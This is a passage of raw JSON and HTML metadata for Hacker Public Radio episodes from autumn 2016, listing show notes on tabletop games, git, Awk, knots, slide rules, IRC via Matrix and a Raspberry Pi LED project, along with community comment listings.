                                                            • hpr2126\n(2016-09-26) \"My new (old) tablet\"\nby Alpha32.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nkendal on 2016-10-19:\"[no title]\"

                                                              \n
                                                            • hpr2127\n(2016-09-27) \"Tabletop Gaming\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 2:\nnotklaatu on 2016-10-02:\n\"Re: Game Inspiring\"

                                                              \n
                                                            • hpr2130\n(2016-09-30) \"Git push to two repositories at once\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nclacke on 2016-10-02:\n\"I figured :-)\"
                                                              • Comment 2:\nclacke on 2016-10-02:\n\"explicit push\"
                                                              • Comment 3:\nklaatu on 2016-10-08:\n\"explicit push\"

                                                              \n
                                                            \n

                                                            There are 20 comments on 10 of this month's shows:

                                                            \n
                                                            • hpr2133\n(2016-10-05) \"Compression technology part 1\"\nby The Bishop.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nrtsn on 2016-10-12:\n\"Good episode!\"

                                                              \n
                                                            • hpr2136\n(2016-10-10) \"Fluxx Tabletop Game\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nJohn on 2016-10-30:\n\"Fluxx synchronicity \"

                                                              \n
                                                            • hpr2138\n(2016-10-12) \"Hack the Box with Bandit\"\nby NYbill.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nKrayon on 2016-10-24:\n\"Good fun!\"

                                                              \n
                                                            • hpr2139\n(2016-10-13) \"From Org Mode to LaTeX Beamer to PDF\"\nby Clinton Roy.
                                                            • \n
                                                            • \n
                                                              \n
                                                            • hpr2140\n(2016-10-14) \"Vim Plugins I Use\"\nby Mr. Young.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Morriss on 2016-10-19:\n\"Very interesting show\"

                                                              \n
                                                            • hpr2141\n(2016-10-17) \"Make Web Python with Flask\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nShortFatBaldGuy on 2016-10-17:\n\"Great podcast\"
                                                              • Comment 2:\nJonathan Kulp on 2016-10-17:\n\"No Thanks \"
                                                              • Comment 3:\nJONATHAN KULP on 2016-10-17:\n\"Seriously though...\"
                                                              • Comment 4:\nMr. Young on 2016-10-18:\n\"Give bottle a try\"
                                                              • Comment 5:\nKlaatu on 2016-10-20:\n\"Cheers\"

                                                              \n
                                                            • hpr2143\n(2016-10-19) \"Gnu Awk - Part 3\"\nby Mr. Young.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nBambiker on 2016-10-25:\"[no title]\"
                                                              • Comment 2:\nDave Morriss on 2016-10-26:\n\"grep and awk\"

                                                              \n
                                                            • hpr2145\n(2016-10-21) \"Daily notes and todo list with markdown\"\nby norrist.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2016-10-20:\n\"Love this Idea\"
                                                              • Comment 2:\nFin on 2016-10-24:\n\"Nice! Licence?\"
                                                              • Comment 3:\nnorrist on 2016-10-25:\n\"Version with copyright notice\"

                                                              \n
                                                            • hpr2146\n(2016-10-24) \"Cards Against Humanity Tabletop Game\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nspaceman on 2016-10-24:\n\"lulz\"
                                                              • Comment 2:\nWindigo on 2016-10-25:\n\"Bees?\"

                                                              \n
                                                            • hpr2150\n(2016-10-28) \"Apollo Guidance Computer\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMikael on 2016-10-29:\"[no title]\"
                                                              • Comment 2:\nWindigo on 2016-10-30:\n\"Superb interview\"
                                                              • Comment 3:\nKevin O'Brien on 2016-10-30:\n\"Fantastic Interview!!\"

                                                              \n
                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2157,"date":"2016-11-08","title":"BarCamp Manchester part 3","duration":504,"summary":"This is an interview with Alan O'Donohoe which I did at BarCamp Manchester.","notes":"\n

                                                            This is an interview with Alan O'Donohoe which I did at BarCamp Manchester. The links to his Twitter page and the Exa Foundation are as follows:

                                                            \n\n","hostid":338,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"BarCamp Manchester","version":0,"downloads":0,"valid":1}, {"id":2158,"date":"2016-11-09","title":"Art Club","duration":372,"summary":"Have fun learning about art with your friends","notes":"

                                                            https://www.toledomuseum.org/

                                                            \n","hostid":326,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"art,art club,art museum","version":0,"downloads":0,"valid":1}, {"id":2159,"date":"2016-11-10","title":"Coup Tabletop Game","duration":937,"summary":"Klaatu raves about the tabletop game, Coup","notes":"

                                                            https://www.kickstarter.com/projects/2012515236/coup-bluff-and-deception-in-the-world-of-the-resis

                                                            \n","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"game,gaming,tabletop game","version":0,"downloads":0,"valid":1}, {"id":2160,"date":"2016-11-11","title":"An Audio Illustration Tying the Bowline Knot","duration":343,"summary":"David Whitman attempts an audio illustration of how to tie the bowline knot.","notes":"

                                                            The following is partial copy from Wikipedia: https://en.wikipedia.org/wiki/Bowline

                                                            \n

                                                            "The bowline (/ˈboʊlɪn/ or /ˈboʊlaɪn/)[1] is an ancient and simple knot used to form a fixed loop at the end of a rope. It has the virtues of being both easy to tie and untie; most notably, it is easy to untie after being subjected to a load. The bowline is sometimes referred as King of the knots because of its importance. It is one of the four basic maritime knots (the other three are figure-eight knot, reef knot and clove hitch).

                                                            \n

                                                            The structure of the bowline is identical to that of the sheet bend, except the bowline forms a loop in one rope and the sheet bend joins two ropes. Along with the sheet bend and the clove hitch, the bowline is often considered one of the most essential knots.[2]

                                                            \n

                                                            Although generally considered a reliable knot, its main deficiencies are a tendency to work loose when not under load, to slip when pulled sideways[3] and the bight portion of the knot to capsize in certain circumstances.[citation needed] To address these shortcomings, a number of more secure variations of the bowline have been developed for use in safety-critical applications".

                                                            \n","hostid":209,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Knots, CLasoo, Bowline","version":0,"downloads":0,"valid":1}, {"id":2161,"date":"2016-11-14","title":"What's in my freezer?","duration":246,"summary":"Inscius talks about the food stored in his freezer.","notes":"

                                                            A short true tale of what I store in my (small) freezer, mid-October 2016. It is also the first time I record a podcast with a portable recorder.

                                                            \n

                                                            "American blueberry" "European blueberry" a.k.a. "Bilberry"

                                                            \n

                                                            Haricot vert a.k.a. green beans

                                                            \n

                                                            Mangold/Chard

                                                            \n

                                                            Blackcurrant

                                                            \n

                                                            Broad beans

                                                            \n","hostid":283,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"food, storage, seasonal, garden","version":0,"downloads":0,"valid":1}, {"id":2162,"date":"2016-11-15","title":"Review/Criticism of Hipp's \"Git: Just Say No\"","duration":1272,"summary":"In which I take an IRC rant to audio and look at what's really wrong with git.","notes":"

                                                            Review/Criticism of Hipp's "Git: Just Say No"

                                                            \n

                                                            I was recommended Richard Hipp – Git: Just Say No (youtube.com) last night on the excellent #oggcastplanet channel on freenode.

                                                            \n

                                                            I didn't listen to all of it, but I'm putting this out there with the material I have, because anything else would be procrastination and this is HPR. We Want Shows!

                                                            \n

                                                            Here are his criticisms, or suggested enhancements, top 10:

                                                            \n
                                                              \n
                                                            1. Show descendants of a check-in
                                                            2. \n
                                                            3. Simplified mental model
                                                            4. \n
                                                            5. Remember branch history
                                                            6. \n
                                                            7. Multiple check-outs from the same repo
                                                            8. \n
                                                            9. Sliced check-out and clones
                                                            10. \n
                                                            11. Check-out & commit against a remote repo
                                                            12. \n
                                                            13. "Busybox" version of git
                                                            14. \n
                                                            15. All comms via HTTP/HTTPS
                                                            16. \n
                                                            17. "git all" command
                                                            18. \n
                                                            19. "git serve" command
                                                            20. \n
                                                            \n

                                                            I think the killer of these is #2, the rest are nitpicks or incorrect. And for addressing #2 there is the very interesting gitless report and project, which I'm guessing doesn't abandon git entirely, just reworks the UI, which does need rework. Not for people like me, who already learned the nooks and crannies and make productive use of several of what might be misfeatures, but to lower the threshold for people coming to our software projects and whatever other source code we are managing.

                                                            \n

                                                            TL;DL:

                                                            \n
                                                              \n
                                                            1. Why? Complete git log and less does the job, even for the oldest git project – git.
                                                            2. \n
                                                            3. YES, see gitless.
                                                            4. \n
                                                            5. Why?
                                                            6. \n
                                                            7. Already works.
                                                            8. \n
                                                            9. Presumably already works, don't know how well.
                                                            10. \n
                                                            11. Why?
                                                            12. \n
                                                            13. (Didn't listen) Why?
                                                            14. \n
                                                            15. (Didn't listen) Why? It has HTTP/HTTPS, but it also has the ssh model, which is great.
                                                            16. \n
                                                            17. Didn't listen.
                                                            18. \n
                                                            19. (Didn't listen) git serve sucks, use gogs.
                                                            20. \n
                                                            \n

                                                            Fodder for further episodes

                                                            \n
                                                              \n
                                                            • I'm connecting to freenode through Matrix using Riot, both on web and mobile.
                                                            • \n
                                                            • Is Matrix a big fat NIH? (hey look, WikiWikiWeb is back online!)
                                                            • \n
                                                            • Why not just use XMPP?
                                                            • \n
                                                            • It works great for me, and I didn't have to bother setting up a native IRC bouncer like ZNC or Quassel.
                                                            • \n
                                                            • The quick-quick version: Just go to #freenode_#oggcastplanet:matrix.org and you're in the best IRC web chat available, in the #oggcastplanet channel on freenode.
                                                            • \n
                                                            • gitless (or gl)
                                                            • \n
                                                            • Fossil
                                                            • \n
                                                            \n","hostid":311,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"git, fossil, rant","version":0,"downloads":0,"valid":1}, {"id":2163,"date":"2016-11-16","title":"Gnu Awk - Part 4","duration":1869,"summary":"Recapping the last episode and looking at variables in an Awk program","notes":"

                                                            Gnu Awk - Part 4

                                                            \n

                                                            Introduction

                                                            \n

                                                            This is the fourth episode of the series that Mr. Young and I are doing. These shows are now collected under the series title “Learning Awk”.

                                                            \n

                                                            Recap of the last episode

                                                            \n

                                                            Logical Operators

                                                            \n

                                                            We have seen the operators ‘&&’ (and) and ‘||’ (or). These are also called Boolean Operators. There is also one more operator ‘!’ (not) which we haven’t yet encountered. These operators allow the construction of Boolean expressions which may be quite complex.

                                                            \n

                                                            If you are used to programming you will expect these operators to have a precedence, just like operators in arithmetic do. We will deal with this subject in more detail later since it is relevant not only in patterns but also in other parts of an Awk program.

                                                            \n

                                                            The next statement

                                                            \n

                                                            We saw this statement in the last episode and learned that it causes the processing of the current input record to stop. No more patterns are tested against this record and no more actions in the current rule are executed. Note that “next” is a statement like “print”, and can only occur in the action part of a rule. It is also not permitted in BEGIN or END rules (more of which anon).

                                                            \n

                                                            The BEGIN and END rules

                                                            \n

                                                            The BEGIN and END elements are special patterns, which in conjunction with actions enclosed in curly brackets make up rules in the same sense that the ‘pattern {action}’ sequences we have seen so far are rules. As we saw in the last episode, BEGIN rules are run before the main ‘pattern {action}’ rules are processed and the input file is (or files are) read, whereas END rules run after the input files have been processed.

                                                            \n

                                                            It is permitted to write more than one BEGIN rule and more than one END rule. These are just concatenated together in the order they are encountered by Awk.

                                                            \n

                                                            Awk will complain if either BEGIN or END is not followed by an action since this is meaningless.

                                                            \n

                                                            Variables, arrays, loops, etc

                                                            \n

                                                            Learning a programming language is never a linear process, and sometimes reference is made to new features that have not yet been explained. A number of new features were mentioned in passing in the last episode, and we will look at these in more detail in this episode.

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have written out a moderately long set of notes for this episode. Click the link to see them.

                                                            \n

                                                            With a view to making portable notes for this series I have included ePub and PDF versions with this episode. Feedback is welcome to help decide which version is preferable, as are any suggestions on the improvement of the layout.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":94,"explicit":1,"license":"CC-BY-SA","tags":"Awk utility, Awk language, gawk,variables","version":0,"downloads":0,"valid":1}, {"id":2164,"date":"2016-11-17","title":"Skipbo Tabletop Game","duration":1331,"summary":"Klaatu talks about the surprisingly amazing game from Mattel","notes":"

                                                            Game design by Hazel \"Skip\" Bowman.

                                                            \n

                                                            https://boardgamegeek.com/boardgame/1269/skip-bo

                                                            \n","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"game,gaming,tabletop game","version":0,"downloads":0,"valid":1}, {"id":2165,"date":"2016-11-18","title":"Get the most out of your commute with these great audio suggestions.","duration":2156,"summary":"Knightwise talks about ways to stay entertained during your commute to work by listening to podcasts","notes":"\n\n

                                                            \nThe knightwise.com podcast : https://feeds.feedburner.com/feedburner/knightcast\n

                                                            ","hostid":111,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"podcast,podcatcher,online course","version":0,"downloads":0,"valid":1}, {"id":2166,"date":"2016-11-21","title":"How to use a Slide Rule","duration":887,"summary":"By popular request, a description of how a slide rule works","notes":"

                                                            How to use a Slide Rule

                                                            \n

                                                            In my show 1664, “Life and Times of a Geek part 1”, I spoke about using a slide rule as a schoolboy. As a consequence, I was asked if I would do a show on slide rules, and this is it (after a rather long delay).

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have written out a moderately long set of notes for this episode. Click this link to read them.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"slide rule,logarithm,slipstick,analogue computer","version":0,"downloads":0,"valid":1}, {"id":2167,"date":"2016-11-22","title":"Google It","duration":1150,"summary":"Discussing some of the successes Google has had despite people thinking Google is failing","notes":"

                                                            Discussing some of Google's successes. Lately I have been hearing a lot of flak towards Google and how they are doing everything wrong. So I go down a list of some of their success stories. Disagree? Email me.

                                                            ","hostid":346,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Google,Chrome, Android, Chromecast, tech, computers","version":0,"downloads":0,"valid":1}, {"id":2168,"date":"2016-11-23","title":"Analogue Random Number Generation","duration":2521,"summary":"Klaatu ponders analogue random number generation","notes":"

                                                            Klaatu talks about different ways of coming up with random numbers without electronics.\n

                                                            \n

                                                            \nDiscussed: dice, flipping through a book, sequential modulo, shifting tables, and pocketdiceroller.

                                                            ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"game,gaming,tabletop,card,boardgame,random,number,math","version":0,"downloads":0,"valid":1}, {"id":2169,"date":"2016-11-24","title":"How I connect to the awesome #oggcastplanet on mobile","duration":795,"summary":"I give a quick overview of the challenges of IRC on the go and how Riot and Matrix solve them for me","notes":"

                                                            On HPR #2162 I mentioned that I'm connecting to freenode IRC using Riot and Matrix. Here I explain a bit of background to why, what Matrix is, and why you should use it too.

                                                            \n

                                                            Quick-quick version

                                                            \n

                                                            Just go to https://riot.im/app/#/room/#freenode_#oggcastplanet:matrix.org, click Join and you're on the channel! If you register a user there (or maybe on another instance, like @lambadalambda's https://matrix.heldscal.la/), you can then log in with the same username and password in the Android app and see all your joined channels there.

                                                            \n

                                                            Correction to audio: Riot is on F-Droid. For some reason I couldn't find it at the time, even though it's clearly there, so I'm currently using the version from the Google Play Store. I hear that battery use may be an issue if you're independent from the evil GOOG.

                                                            \n

                                                            Alternatives

                                                            \n

                                                            Other ways of connecting to IRC over flaky or intermittent connections without losing context:

                                                            \n
                                                              \n
                                                            • ZNC
                                                            • \n
                                                            • In particular, check out this pretty elaborate ZNC-on-ZNC setup to solve the issue with having multiple devices that all want an independent scrollback buffer. I was just about considering setting up something like this when I discovered the Matrix bridge instead.
                                                            • \n
                                                            • One colleague of mine uses Quassel and loves it.
                                                            • \n
                                                            • Another colleague uses irssi ConnectBot or something similar and can't understand why anybody would want anything else.
                                                            • \n
                                                            \n

                                                            Criticism

                                                            \n\n

                                                            Fodder for further HPR episodes

                                                            \n\n","hostid":311,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"matrix, irc, federation, mobile, im","version":0,"downloads":0,"valid":1}, {"id":2170,"date":"2016-11-25","title":"soundtrap.io","duration":1998,"summary":"A low-cost open-source acoustic logger for biodiversity and environmental monitoring.","notes":"

                                                            \nBack in hpr1894 :: Interview with Davide Zilli and Dr Marianne Sinka of the HumBug Project, the topic of an open-source acoustic logger came up. Today Ken tracks down Prof. Alex Rogers from the Department of Computer Science at University of Oxford, to talk about the project.\n

                                                            \n

                                                            \nThe prototype device is based on the Silicon Labs Gecko processor range and provides a low-cost acoustic logger which can record uncompressed audio to an SD card at 48,000 samples per second. Onboard acoustic recognition algorithms allow the device to decide when and what to record, and allow the computation and storage of acoustic features and complexity indices, rather than raw waveforms.\n

                                                            \n
                                                              \n
                                                            • EFM32 Gecko processor
                                                            • \n
                                                            • WAV recordings to SD card
                                                            • \n
                                                            • 48,000 samples per second
                                                            • \n
                                                            • Powered by 3 x AAA batteries
                                                            • \n
                                                            • Analog MEMS microphone
                                                            • \n
                                                            • Measures just 50 x 38 x 12 mm
                                                            • \n
                                                            • Configurable USB interface
                                                            • \n
                                                            • Onboard real time clock
                                                            • \n
                                                            \n\"acoustic\n\n

                                                            \nhttps://soundtrap.io/\n

                                                            \n","hostid":30,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"open source,open hardware,acoustic logger","version":0,"downloads":0,"valid":1}, {"id":2171,"date":"2016-11-28","title":"hello world","duration":227,"summary":"this first HPR podcast is to introduce myself and what I am about.","notes":"

                                                            I love programming, I make a living writing free software. However I am still a programmer without a keyboard. I want to share knowledge that gives us control over our own life. Tools that help us help ourselves.

                                                            \n

                                                            Two main topics:

                                                            \n
                                                              \n
                                                            1. computers (of course!)\n
                                                                \n
                                                              • everyday user
                                                              • \n
                                                              • free software
                                                              • \n
                                                              • programming
                                                              • \n
                                                            2. \n
                                                            3. AFK stuff\n
                                                                \n
                                                              • veganism,
                                                              • \n
                                                              • minimalism,
                                                              • \n
                                                              • botany,
                                                              • \n
                                                              • engineering.
                                                              • \n
                                                            4. \n
                                                            \n

                                                            Lots of fun, life is interesting

                                                            \n

                                                            happy hacking

                                                            \n","hostid":344,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"introduction","version":0,"downloads":0,"valid":1}, {"id":2172,"date":"2016-11-29","title":"Dutch Blitz Table Top Game","duration":1548,"summary":"Steve describes the game of Dutch Blitz.","notes":"

                                                            Dutch Blitz Tabletop Game

                                                            \n

                                                            Origin

                                                            \n

                                                            Dutch Blitz was created by Werner Ernst George Muller, from\nPennsylvania, in the United States, in 1959. It is similar to the game\nNertz, which is played with standard playing cards. Nertz had been\naround since the 1940s. It isn’t totally clear to what extent Mr\nMuller was influenced by the game of Nertz. He was an optometrist and\nit is said that he thought the game might help his children learn\nabout colors and numbers.

                                                            \n

                                                            Theme

                                                            \n

                                                            The game has a theme that originates with the Pennsylvania Dutch\nculture, which was formed by early German immigrants to eastern\nPennsylvania in the United States. The symbols used on the cards are\nrepresentative of that culture, which tended to be agricultural and of\na conservative protestant Christian faith.

                                                            \n

                                                            Cards

                                                            \n

                                                            Each player has their own deck of cards. The standard set has 4 decks,\nso it can accommodate 2-4 players. There is an extension pack that adds\n4 more decks, supporting 4 more players. Each deck has 40 cards made\nup of number cards from 1 through 10 in four different colors (suits):\nred, blue, green, and yellow. Additionally, the red and blue cards\nhave a picture of a boy and the green and yellow cards have a picture\nof a girl. The decks are differentiated from each other by a symbol on\nthe back side of each card. The four standard decks have the following\nsymbols: pump, buggy, plow, and bucket.

                                                            \n

                                                            Piles

                                                            \n
                                                              \n
                                                            • \n

                                                              Blitz Pile - A pile of 10 cards that are dealt by each player before\ngame play starts. One of the goals is for the player to get rid of\ntheir Blitz pile. When one player clears their Blitz pile, the round\nis over.

                                                              \n
                                                            • \n
                                                            • \n

                                                              Post Piles - Three piles of cards to the left of the Blitz pile that\nare used by the player to help sort through cards during the game\nplay. These piles begin as 3 cards dealt out by the player before\ngame play. Cards can then be added to these piles in descending order\nand alternating “gender”. If one of the Post piles is cleared, the\nplayer may take a card off of their Blitz pile to start a new one.

                                                              \n
                                                            • \n
                                                            • \n

                                                              Wood Pile - During game play, the player rotates through their deck\nby taking 3 cards, face down, and turning them face up and placing\nthem on the Wood pile. The top most card is available to be played.

                                                              \n
                                                            • \n
                                                            • \n

                                                              Dutch Piles - During game play, players can start a Dutch pile when\nthey have a playable card with the number 1 on it. These piles are\nplaced in the middle of the table. The piles can then be built up,\nin sequential order and of matching color. Any player can play a\ncard on any Dutch pile.

                                                              \n
                                                            • \n
                                                            \n

                                                            Game Play

                                                            \n

                                                            The game is played in rounds. The players do not take turns. When play\nstarts, all players begin playing at the same time as fast as they\ncan. When a player is able to clear their Blitz pile, they shout the\nword “Blitz” and all play must then stop. That is the end of the\nround.

                                                            \n

                                                            Points

                                                            \n

                                                            When the round ends all of the cards that have been played on the\nDutch piles are sorted into their representative decks. Each player\ncounts the number of cards that they have played and then subtracts\ntwo times the number of cards left on their Blitz pile. That is their\nscore for the round.

                                                            \n

                                                            In order to maximize one’s points for a round, the objectives are\ntwo-fold. You want to play as many cards as possible on the Dutch\npiles, but you also want to get rid of as many cards on your Blitz\npile as possible.

                                                            \n

                                                            References

                                                            \n\n\n","hostid":334,"series":95,"explicit":1,"license":"CC-BY-SA","tags":"tabletop, game, german, culture","version":0,"downloads":0,"valid":1}, {"id":2173,"date":"2016-11-30","title":"Driving a Blinkt! as an IoT device","duration":2349,"summary":"I have a Raspberry Pi Zero with a Blinkt! 8-LED array I'm setting up as a notification device","notes":"

                                                            Driving a Blinkt! as an IoT device

                                                            \n

                                                            Introduction

                                                            \n

                                                            I managed to buy a Raspberry Pi Zero when they first came out in December 2015. This was not easy since they were very scarce. I also bought a first-generation case from Pimoroni and some 40-pin headers. With the Zero this header is not pre-installed and it’s necessary to solder it onto the Pi yourself.

                                                            \n

                                                            I have had various project ideas for this Pi Zero, but had not decided on one until recently. Within the last month or two Pimoroni produced a device called the Blinkt! which has eight APA102 RGB LEDs and attaches to the GPIO header. This costs £5, just a little more than the Zero itself.

                                                            \n

                                                            My plan was to combine the two and turn them into a status indicator for various things going on that needed my attention.

                                                            \n

                                                            Long notes

                                                            \n

                                                            I have written out a moderately long set of notes for this episode. Click this link to access them.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Raspberry Pi,Blinkt!,BlinkStick,MQTT,Mosquitto","version":0,"downloads":0,"valid":1}, {"id":2174,"date":"2016-12-01","title":"Dungeoneer Tabletop Game","duration":2560,"summary":"Klaatu reviews the Dungeoneer RPG card game","notes":"

                                                            \nKlaatu reviews the RPG card game, Dungeoneer, especially concentrating upon solitaire play.\n

                                                            \n

                                                            \nIf you're keen to play, you'll want to use Klaatu's re-write of the official rules, or his re-write and touch-up of the unofficial solo rules. Neither of these are unique in themselves, but Klaatu humbly believes that they're a lot easier to comprehend than those online or in the box.

                                                            ","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"game,gaming,tabletop,card,rpg","version":0,"downloads":0,"valid":1}, {"id":2175,"date":"2016-12-02","title":"Kdenlive Part 4 Colour Correction","duration":1100,"summary":"A review of the Kdenlive colour correction suite","notes":"

                                                            Hello again HPR listeners this is Geddes back with Part 4 in the series covering the video editing application KdenLive. This time round we’ll be looking at colour correction which covers the following topics:

                                                            \n
                                                              \n
                                                            • Workflow
                                                            • \n
                                                            • The human element
                                                            • \n
                                                            • Luma values
                                                            • \n
                                                            • Levels
                                                            • \n
                                                            • Colours
                                                            • \n
                                                            • Things that look broken
                                                            • \n
                                                            • Saturation
                                                            • \n
                                                            • Copying values between clips
                                                            • \n
                                                            • Colour Effects
                                                            • \n
                                                            • Selective colour correction and rotoscoping
                                                            • \n
                                                            \n

                                                            Here’s the link to the original article.

                                                            \n","hostid":310,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Kdenlive,opensource.com,colour correction","version":0,"downloads":0,"valid":1}, {"id":2176,"date":"2016-12-05","title":"HPR Community News for November 2016","duration":4692,"summary":"HPR Community News for November 2016","notes":"\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n Bill \"NFMZ1\" Miller, \n spaceman.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2152Tue2016-11-01Apples to Apples Tabletop Gameklaatu
                                                            2153Wed2016-11-02Splitting a Block of Bees Waxbrian
                                                            2154Thu2016-11-03Replacing a Bicycle Brake CableJon Kulp
                                                            2155Fri2016-11-04Ohio LinuxFest 2016Ahuka
                                                            2156Mon2016-11-07HPR Community News for October 2016HPR Volunteers
                                                            2157Tue2016-11-08BarCamp Manchester part 3Tony Hughes AKA TonyH1212
                                                            2158Wed2016-11-09Art ClubBrian in Ohio
                                                            2159Thu2016-11-10Coup Tabletop Gameklaatu
                                                            2160Fri2016-11-11An Audio Illustration Tying the Bowline KnotDavid Whitman
                                                            2161Mon2016-11-14What's in my freezer?Inscius
                                                            2162Tue2016-11-15Review/Criticism of Hipp's \"Git: Just Say No\"clacke
                                                            2163Wed2016-11-16Gnu Awk - Part 4Dave Morriss
                                                            2164Thu2016-11-17Skipbo Tabletop Gameklaatu
                                                            2165Fri2016-11-18Get the most out of your commute with these great audio suggestions.knightwise
                                                            2166Mon2016-11-21How to use a Slide RuleDave Morriss
                                                            2167Tue2016-11-22Google ItBill "NFMZ1" Miller
                                                            2168Wed2016-11-23Analogue Random Number Generationklaatu
                                                            2169Thu2016-11-24How I connect to the awesome #oggcastplanet on mobileclacke
                                                            2170Fri2016-11-25soundtrap.ioKen Fallon
                                                            2171Mon2016-11-28hello worldspaceman
                                                            2172Tue2016-11-29Dutch Blitz Table Top GameSteve Saner
                                                            2173Wed2016-11-30Driving a Blinkt! as an IoT deviceDave Morriss
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available in the archives run\nexternally by Gmane\n(see below) and on the HPR server under Mailman.\n

                                                            \n

                                                            Note: since the summer of 2016 Gmane has changed location and is currently\nbeing reestablished. At the moment the HPR archive is not available there.

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2016-November/thread.html\n\n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 21 comments in total.

                                                            \n

                                                            There are 5 comments on\n5 previous shows:

                                                            \n
                                                            • hpr2130\n(2016-09-30) \"Git push to two repositories at once\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 4:\nDave Morriss on 2016-11-02:\n\"Thought I'd never use this\"

                                                              \n
                                                            • hpr2140\n(2016-10-14) \"Vim Plugins I Use\"\nby Mr. Young.
                                                            • \n
                                                            • \n
                                                              • Comment 2:\nMr. Young on 2016-11-07:\n\"ack.vim\"

                                                              \n
                                                            • hpr2145\n(2016-10-21) \"Daily notes and todo list with markdown\"\nby norrist.
                                                            • \n
                                                            • \n
                                                              • Comment 4:\nMatt on 2016-11-30:\n\"question about the script\"

                                                              \n
                                                            • hpr2148\n(2016-10-26) \"The DSO138 Oscilloscope Kit Part 2\"\nby NYbill.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nNYbill on 2016-11-02:\n\"The real JYE Tech kit\"

                                                              \n
                                                            • hpr2150\n(2016-10-28) \"Apollo Guidance Computer\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 4:\nFrank on 2016-11-18:\"[no title]\"

                                                              \n
                                                            \n

                                                            There are 16 comments on 9 of this month's shows:

                                                            \n
                                                            • hpr2154\n(2016-11-03) \"Replacing a Bicycle Brake Cable\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Morriss on 2016-11-13:\n\""Sound-seeing"\"

                                                              \n
                                                            • hpr2156\n(2016-11-07) \"HPR Community News for October 2016\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nclacke on 2016-11-09:\n\"Ear candy\"
                                                              • Comment 2:\nJonathan Kulp on 2016-11-09:\n\"Talkin' Purty\"

                                                              \n
                                                            • hpr2161\n(2016-11-14) \"What's in my freezer?\"\nby Inscius.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nthelovebug on 2016-11-14:\n\"Nice!\"
                                                              • Comment 2:\nclacke on 2016-11-15:\n\"Green beans\"

                                                              \n
                                                            • hpr2163\n(2016-11-16) \"Gnu Awk - Part 4\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nOtto on 2016-11-23:\"[no title]\"
                                                              • Comment 2:\nDave Morriss on 2016-11-27:\n\"Thanks\"

                                                              \n
                                                            • hpr2164\n(2016-11-17) \"Skipbo Tabletop Game\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nfolky on 2016-11-18:\n\"Crapette\"
                                                              • Comment 2:\nKlaatu on 2016-11-18:\n\"Re: Crapette\"

                                                              \n
                                                            • hpr2166\n(2016-11-21) \"How to use a Slide Rule\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nchalkahlom on 2016-11-25:\"[no title]\"
                                                              • Comment 2:\nSteve Smethurst on 2016-11-25:\"[no title]\"
                                                              • Comment 3:\nDave Morriss on 2016-11-27:\n\"Thanks!\"

